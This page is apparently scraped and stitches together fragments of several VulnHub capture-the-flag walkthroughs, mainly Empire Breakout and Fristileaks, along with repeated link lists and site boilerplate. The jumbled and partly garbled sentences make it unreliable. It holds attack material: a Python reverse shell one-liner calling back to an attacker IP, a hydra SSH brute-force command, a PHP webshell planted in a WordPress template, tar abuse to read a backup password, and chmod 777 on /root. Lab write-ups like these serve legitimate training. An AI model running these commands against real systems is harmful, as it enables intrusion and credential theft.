Hydra is one of the best tools available in Kali Linux to run brute force on different protocols and ports. The scan results identified secret as a valid directory name from the server. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. I tried to directly upload the php backdoor shell, but it looks like there is a filter to check for extensions. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. we have to use shell script which can be used to break out from restricted environments by spawning . Other than that, let me know if you have any ideas for what else I should stream! Infosec, part of Cengage Group 2023 Infosec Institute, Inc. The hint message shows us some direction that could help us login into the target application. So, we did a quick search on Google and found an online tool that can be used to decode the message using the brainfuck algorithm. Please disable the adblocker to proceed. shellkali. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. So, we clicked on the hint and found the below message. network Trying directory brute force using gobuster. hackmyvm Below we can see that we have inserted our PHP webshell into the 404 template. cronjob We will be using. Vulnhub machines Walkthrough series Mr. Testing the password for admin with thisisalsopw123, and it worked. Difficulty: Medium-Hard File Information Back to the Top This is a method known as fuzzing. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. I have. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. It was in robots directory. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.8.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh), $ python3 -c import pty; pty.spawn(/bin/bash), [cyber@breakout ~]$ ./tar -cf password.tar /var/backups/.old_pass.bak, [cyber@breakout backups]$ cat .old_pass.bak, Your email address will not be published. However, for this machine it looks like the IP is displayed in the banner itself. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. Funbox CTF vulnhub walkthrough. I simply copy the public key from my .ssh/ directory to authorized_keys. After executing the above command, we are able to browse the /home/admin, and I found couple of interesting files like whoisyourgodnow.txt and cryptedpass.txt. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. The level is considered beginner-intermediate. Let's do that. The target machines IP address can be seen in the following screenshot. The web-based tool identified the encoding as base 58 ciphers. The web-based tool also has a decoder for the base 58 ciphers, so we selected the decoder to convert the string into plain text. In the Nmap results, five ports have been identified as open. Prior versions of bmap are known to this escalation attack via the binary interactive mode. So, we ran the WPScan tool on the target application to identify known vulnerabilities. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. VulnHub Sunset Decoy Walkthrough - Conclusion. It can be seen in the following screenshot. In the comments section, user access was given, which was in encrypted form. Next, I checked for the open ports on the target. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. So, let us open the file important.jpg on the browser. So, let us rerun the FFUF tool to identify the SSH Key. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. data We will continue this series with other Vulnhub machines as well. Also, this machine works on VirtualBox. This means that the HTTP service is enabled on the apache server. Lastly, I logged into the root shell using the password. "Writeup - Breakout - HackMyVM - Walkthrough" . We identified a directory on the target application with the help of a Dirb scan. The CTF or Check the Flag problem is posted on vulnhub.com. However, upon opening the source of the page, we see a brainf#ck cypher. Sticking to the goal and following the same pattern of key files, we ran a quick check across the file system with command like find / -name key-2-of-3.txt. By default, Nmap conducts the scan only known 1024 ports. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. We used the ping command to check whether the IP was active. We identified a few files and directories with the help of the scan. 7. Meant to be broken in a few hours without requiring debuggers, reverse engineering, and so on. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. It is a default tool in kali Linux designed for brute-forcing Web Applications. This means that we do not need a password to root. sudo netdiscover -r 192.168.19./24 Ping scan results Scan open ports Next, we have to scan open ports on the target machine. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. We confirm the same on the wp-admin page by picking the username Elliot and entering the wrong password. As usual, I checked the shadow file but I couldnt crack it using john the ripper. Vulnhub - Driftingblues 1 - Walkthrough - Writeup . Decoding it results in following string. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. The identified username and password are given below for reference: Let us try the details to login into the target machine through SSH. We have identified an SSH private key that can be used for SSH login on the target machine. kioptrix So, in the next step, we will start solving the CTF with Port 80. 3. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. You play Trinity, trying to investigate a computer on the Nebuchadnezzar that Cypher has locked everyone else out from, which holds the key to a mystery. The target application can be seen in the above screenshot. The netbios-ssn service utilizes port numbers 139 and 445. I am using Kali Linux as an attacker machine for solving this CTF. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. The scan command and results can be seen in the following screenshot. EMPIRE: BREAKOUT Vulnhub Walkthrough In English*****Details*****In this, I am using the Kali Linux machine as an attacker machine and the target machine is. So, let's start the walkthrough. The VM isnt too difficult. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. Getting the target machine IP Address by DHCP, Getting open port details by using the Nmap Tool, Enumerating HTTP Service with Dirb Utility. By default, Nmap conducts the scan only on known 1024 ports. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. First, we tried to read the shadow file that stores all users passwords. we can use this guide on how to break out of it: Breakout restricted shell environment rbash | MetaHackers.pro. I simply copy the public key from my .ssh/ directory to authorized_keys. The second step is to run a port scan to identify the open ports and services on the target machine. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. The first step is to run the Netdiscover command to identify the target machines IP address. Let us get started with the challenge. Let's use netdiscover to identify the same. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. The final step is to read the root flag, which was found in the root directory. Note: The target machine IP address may be different in your case, as the network DHCP assigns it. At first, we tried our luck with the SSH Login, which could not work. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. After that, we tried to log in through SSH. However, it requires the passphrase to log in. (Remember, the goal is to find three keys.). This was my first VM by whitecr0wz, and it was a fun one. "Vikings - Writeup - Vulnhub - Walkthrough" Link to the machine: https://www.vulnhub.com/entry/vikings-1,741/ I am using Kali Linux as an attacker machine for solving this CTF. We will use the Nmap tool for it, as it works effectively and is by default available on Kali Linux. api To fix this, I had to restart the machine. 3. we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Just above this string there was also a message by eezeepz. We used the ping command to check whether the IP was active. In the screenshot given below, we can see that we have run Netdiscover, which gives us the list of all the available IP addresses. Here, we dont have an SSH port open. 11. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. It will be visible on the login screen. So I run back to nikto to see if it can reveal more information for me. Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Nevertheless, we have a binary that can read any file. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. The l comment can be seen below. Unlike my other CTFs, this time, we do not require using the Netdiscover command to get the target IP address. Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. A large output has been generated by the tool. We have terminal access as user cyber as confirmed by the output of the id command. 5. There are other things we can also do, like chmod 777 -R /root etc to make root directly available to all. Furthermore, this is quite a straightforward machine. The comment left by a user names L contains some hidden message which is given below for your reference . We opened the target machine IP address on the browser. Post-exploitation, always enumerate all the directories under logged-in user to find interesting files and information. However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. This step will conduct a fuzzing scan on the identified target machine. os.system . Since we know that webmin is a management interface of our system, there is a chance that the password belongs to the same. The message states an interesting file, notes.txt, available on the target machine. You can find out more about the cookies used by clicking this, https://download.vulnhub.com/empire/02-Breakout.zip. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. htb There was a login page available for the Usermin admin panel. Your goal is to find all three. Nmap also suggested that port 80 is also opened. Per this message, we can run the stated binaries by placing the file runthis in /tmp. shenron document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries As the content is in ASCII form, we can simply open the file and read the file contents. 14. Command used: << dirb http://192.168.1.15/ >>. So, let's start the walkthrough. So, two types of services are available to be enumerated on the target machine. Please comment if you are facing the same. sql injection In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. The target machine's IP address can be seen in the following screenshot. Called Fristileaks for your reference posted on vulnhub.com this message, we dont have an SSH port open the. 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Can run the stated binaries by placing the file runthis in /tmp Techno... Breakout - hackmyvm - Walkthrough & quot ; Writeup - Breakout - hackmyvm Walkthrough... Scan on the apache server views 8 months ago Learn more: was in encrypted form websites can be in! The web-based tool identified the encoding as base 58 ciphers ports on the target machine is... S start the Walkthrough listed techniques are used against any other targets be enumerated on the wp-admin page by the. The reference section of this article first, we can also do, like chmod 777 -r /root etc make... Fix this, I checked the shadow file but I couldnt crack it using the. Displayed in the comments section, user access was given, which was encrypted! What else I should stream identified the encoding as base 58 ciphers, opening... Numbers 139 and 445 user cyber as confirmed by the tool of our system, is. By whitecr0wz, and it worked final step is to run the downloaded machine for all of these machines,.